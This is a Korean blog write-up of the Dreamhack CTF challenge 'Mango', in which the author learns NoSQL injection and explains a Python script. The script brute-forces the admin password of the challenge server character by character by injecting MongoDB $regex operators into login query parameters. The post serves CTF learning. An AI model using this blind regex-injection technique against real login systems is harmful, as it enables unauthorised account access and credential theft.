[Dreamhack] Mango

sy46·2023년 5월 9일
0

dreamhack

목록 보기
6/20

Level 1. Mango


NoSQL을 배우고 도전한 문제였는데, 너무 어려웠다.

문제 해석은 잘 되어서
url 창에 'login?uid=admin'을 사용할 수 없다는 것을 알았는데,
문제는 그렇다면 어떻게 admin계정의 비밀번호를 알아내냐는 것이었다.

그렇게 열심히 구글링도 해보고 코드 해석을 통해 문제를 이해할 수 있었다.
이 문제 덕분에 잘 몰랐던 파이썬도 공부해보고 vsc로 파이썬을 돌리는 방법도 배웠다.

import requests, string

alpha = string.digits + string.ascii_letters

flag= ""

url = "http://host3.dreamhack.games:18543/login?"
for i in range(32):
    for j in alpha:
        res = requests.get(f"{url}uid[$regex]=^ad.in&upw[$regex]=^D.{{{flag}{j}")
        if "undefined" not in res.text:
            flag+=j
            break
    print(flag)

HOST : 내가 얻어야 할 웹 페이지다.

ALPHA : 내가 얻어야하는 DH값이 가능한 경우의 수를 모두 저장했다.

uid=admin을 사용할 수 없으므로
정규 표현식을 통해 우회하여 admin 값을 알아내야한다.

그러므로 정규표현식을 통해 얻어낸 uid가 admin이라면,
즉 화면에 admin이라는 문자열이 출력되었다면
flag에 해당 문자를 추가해준다.

처음에는 DH{0 을 입력받을 것이고,
만약 실제 url이 {HOST}/login?uid=admin&upw=DH{0...}로 0으로 시작한다면
결과값은 admin을 출력할 것이다. (문제 코드 해석을 통해 알 수 있음)

하지만 0으로 시작하는 것이 아닌 {HOST}/login?uid=admin&upw=DH{1...} 였다면 출력값은 undefined가 출력이 될 것이므로, admin을 찾지 못해 처음 문자를 찾을 때까지 for문을 돌릴 것이다.

이렇게 총 32번의 출력을 찾으면 flag 값이 완성된다.



정규표현식 코드 해석


response = requests.get(f'{HOST}/login?uid[$regex]=adm.n&upw[$regex]=\w\w{{{flag}{ch}')

먼저 requests.get()을 통해 해당 url을 받아온다.

uid에서 . 기호는 모든 가능한 문자를 의미하므로 정규표현식 덕분에 adm.n으로 작성해도 무방하다.
-> admin도 인식

upw에서 \w기호는 소문자 문자+숫자(alphanumeric)와 매치되므로 DH를 인식할 수 있다.

'{{{flag}{ch}'에서 여는 중괄호가 3개인 이유는
리터럴 f에서 중괄호를 인식하기 위해 중괄호 2 개를 써준 것이다.
즉, {{를 {로 인식하므로 실제 입력되는 값은 {flag+ch[i] 이다.

화면에 출력된 결과를 response 변수에 담고,
response.text가 admin이라면 flag에 해당 문자를 더해준다.
만약 undefined라면 다시 반복문을 돌린다.

0개의 댓글